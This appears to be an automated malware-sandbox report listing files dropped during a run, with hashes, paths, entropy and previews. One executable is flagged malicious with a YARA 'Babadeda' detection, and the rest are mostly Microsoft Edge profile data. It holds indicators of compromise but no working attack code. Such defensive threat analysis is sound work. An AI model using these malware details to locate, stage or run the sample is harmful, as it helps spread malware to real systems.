SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\1000003002\d27375200a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91648
Entropy (8bit):	6.753807586992998
Encrypted:	false
SSDEEP:	1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfExwISeOq:Hq6+ouCpk2mpcWJ0r+QNTBfENR
MD5:	9FDE5445045E43D9507D20A2BBA50696
SHA1:	B996C962D8CF7E073F4BF5BC738E21E3273DB649
SHA-256:	AABE8925FFD443357B00BB1EAAD58D028090B95AB492FB942C39C12D9BB78ABD
SHA-512:	691C143C2BF39A6DB457F20AD4C1B1DCC1C5B34B1DF85AFABD45C6511991171AC2FBB35CDD69F0B02BD9641062AF339C442A019D205E12AB8EA8E7BD9D78B5A6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\1000003002\d27375200a.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\043ba228-7b36-411f-90c5-c896b8a25aa3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\18a4232a-ac4a-4306-90ff-4649dc103d5e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44938
Entropy (8bit):	6.094939385523165
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xW5gi1zNtob9ODDk9DP2F7BKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOpIKtSmd6qE7lFoC
MD5:	F4812A5115F1CB7AB366F9EADFE06C3A
SHA1:	1EF079D102BAAA5B90B1BE9C2353A68F68EBC1AB
SHA-256:	1A5C8C0AE66FE5951A6A9771F540647183CC45EC78F1A5DFB0CFCDD9F617D214
SHA-512:	1FC93F5F6498A1F2A9B157F6DEDDDB90022DBF962C3D6B76F31178BDDC8C1C807A909F4176EC668FBC8E6A565E7717558B4FF973C96468EF19F39F51E3654507
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1f7a8fb9-2c07-4561-9965-4f1e875d495a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47876
Entropy (8bit):	6.088636600184948
Encrypted:	false
SSDEEP:	768:ZM7X2zt1jOXtXi3zahcKQ2Hi1zNtob9ODDk9DP2F7Bl9/aGXkP5ACioBJDSgzMMY:ZMSzMtXija+K7Il9/aCkiFoBtSmd6qEf
MD5:	D595C7CE6CA3974FC56B6D131BFD6F42
SHA1:	83BABF674AFD2E79BDB44AB5F0DB796C26E99DEE
SHA-256:	5E60EE8A20189EAF8B60ED73F5297067CE31EABB73EDDE5AFC938E5A7CEE6DF0
SHA-512:	7D0ADFC6DFE528F341E672BFBD531232DD218C24347D0708B622BD8890F80074D4D28C9FB40AECD6E7CC738546AB1C412B017017D6D0006455C9F2712351DF1A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366468151646417","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1721994555"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\37f9b0b7-73ae-4a9a-8571-6ae3eab9b48e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44882
Entropy (8bit):	6.095258197493491
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWQgi1zNtobNzDyutgDMKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynE7KtSmd6qE7lFoC
MD5:	9F1F9DA55C51B9BA3821361BD0A59970
SHA1:	CA99527FCDB73B179E5B51AA22F0FFF8AFBBFBDA
SHA-256:	502600B8BB0D7E45D3FFCB9B485A74B36E1EC3B61B8EECEAD0419B392966CDF2
SHA-512:	CDCC7D49756241D9F696C7EE057B2F77B8ED796C4292CFAA21A0C64EC27438DB1979837DA503F6A32D76496281B472CD65DD0BA50BD72A00D2D652EFA96F72D4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9a82f09a-75c1-4fbf-8eb6-67f7b80f3bdd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47876
Entropy (8bit):	6.088621313965907
Encrypted:	false
SSDEEP:	768:ZM7X2zt1jOXtXi3zahcKQL7i1zNtob9ODDk9DP2F7Bl9/aGXkP5ACioBJDSgzMMY:ZMSzMtXija+KsIl9/aCkiFoBtSmd6qEf
MD5:	C2985BCD5FED7652D7009CC87BE20C12
SHA1:	D87C4086C2FD813483201F445990ABD5E1E37E95
SHA-256:	527575909FFC308EF1C90F9F29E03BB94274EF94E4DE14596E9AA79597B806CF
SHA-512:	74DF724A1A3829CF66D878C4E7DFBB5E666F5FA9D48197CC6143BCFD47BA2472924F3FD6EB93A50B15B978ED7D216626CBC68EEA2280275E7E48CBF1B447F8B2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366468151646417","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1721994555"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\59684176-b0ee-4e0d-8e9a-a70ba94d1d05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152892265458
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7s:fwUQC5VwBIiElEd2K57P7s
MD5:	21CD56820995C4514E60CF6C82134DFC
SHA1:	A474999736344AA8AEA008407B41931EEBD8DCAD
SHA-256:	98615125BD47487A65491F2C4A8EE0C4B5292D510883CE63CE6B7EA1A4CDF1C8
SHA-512:	81135B67AAE29842C59867D614923BE960D2B69AFABEBC2694D86E39C6CCAEBA789BE9EA3245E67418378E8754674B638502FFC77D7ED1C9A6F1C64DF4525969
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152892265458
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7s:fwUQC5VwBIiElEd2K57P7s
MD5:	21CD56820995C4514E60CF6C82134DFC
SHA1:	A474999736344AA8AEA008407B41931EEBD8DCAD
SHA-256:	98615125BD47487A65491F2C4A8EE0C4B5292D510883CE63CE6B7EA1A4CDF1C8
SHA-512:	81135B67AAE29842C59867D614923BE960D2B69AFABEBC2694D86E39C6CCAEBA789BE9EA3245E67418378E8754674B638502FFC77D7ED1C9A6F1C64DF4525969
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1526edfb-5563-4fa1-8376-d2afc351273f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9924
Entropy (8bit):	5.110809931526797
Encrypted:	false
SSDEEP:	192:stAkdIsZCGaFvrE9ko3982nbV+F5dQA3Uh+PrYJ:stArsZCGCDanbG7QLhn
MD5:	E97328600D45F2A62550FF27178C4049
SHA1:	1A4522EE1B6ABFCE21EE08DA028BCADFD2C07F31
SHA-256:	8BD6FCB440F536FE19A927BAAE95FE7A6D951C1BD7E8AE9696258827B1952B2B
SHA-512:	0B7D156BBC105468167B0C3B3F5EB6D3505B582996EA6081C027D1FBC002832889B614783703D95253C13A98502A4FDAE858623292C8F56A79F5F04E4E167917
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366468151486781","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2aa41e7d-5c88-426d-861c-e714a74e4011.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28367
Entropy (8bit):	5.557102626567449
Encrypted:	false
SSDEEP:	768:4MxBfyWmk7pLGLvOnW5wvvf4qs8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPGOIMhNnX:4yJyhocvOnWavvfxsu1ja7oL0Ntg
MD5:	90C8EA4201FB58FF87896EE900B33F44
SHA1:	E1E02770FDDDB7716DEC5AC979D79F377590E209
SHA-256:	4898481A335E6702AC69BECC0630FAB48C57A2BE6732FD759630B8A278D0C301
SHA-512:	779067EA3274938800597DE9C58B0D73F364010E9A684A09F938212BB92444A2999A6FDE8F4A99DDFDE7690065CA31DD13722AD81F9467CA79096F86429EADD6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366468150639158","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366468150639158","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3748bde3-a14d-408c-b874-2c10a189c323.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10254
Entropy (8bit):	5.12069935708944
Encrypted:	false
SSDEEP:	192:stAkdIsZCGaFvrE9kSy398WbV+FqW2AhQ3h+PrYJ:stArsZCGCDYabGz2MQ3hn
MD5:	D6DB67279D4D4277ACC27A37DF376C11
SHA1:	201BC5F70BBEE1E43E12C388E1DDBD16ADE47F54
SHA-256:	085E74343382F281C3B927BBACDE2EC955B3486DF7C7BADB432B341403715292
SHA-512:	CCCC9AF6CB5FA7C5B44AC4F4C2814CAB9F3E2F0B4025C98A503531E2EED2C6A4F2FC90F60BB9DA7BECBDF18F11E34F1C89905423DB99C832C5094205A72AFE30
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366468151486781","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4f351341-121f-46f7-99ac-8c30cd276d4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\526439bb-7eab-4f18-a8c1-ac1f3481032a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7d03969a-b078-4812-bbce-181dbde62094.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567184433585225
Encrypted:	false
SSDEEP:	768:4MxBfyWnnW5wvvf49s8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPGOIMhNnrwXUgEmpF:4yJyGnWavvfIsu1ja7oL0Stc
MD5:	558C9B8E83A5D6A5F9FDA6D0E29441C2
SHA1:	20D3B75A29841AA6865F7B8CE679284AF1AA6BAD
SHA-256:	1EE0C41B782B6CD8762625717DB7A746145E8A16D2C5139A3AC999F12C5419C8
SHA-512:	22688499A49C8D2169FC9769ECFCEEDC3A4857FD1EC702C5635D66F56C5BD3DB6B73F786300C0F5638239061D576037DE54CE802F0804D307370E5E33FEE33B3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366468150639158","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366468150639158","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
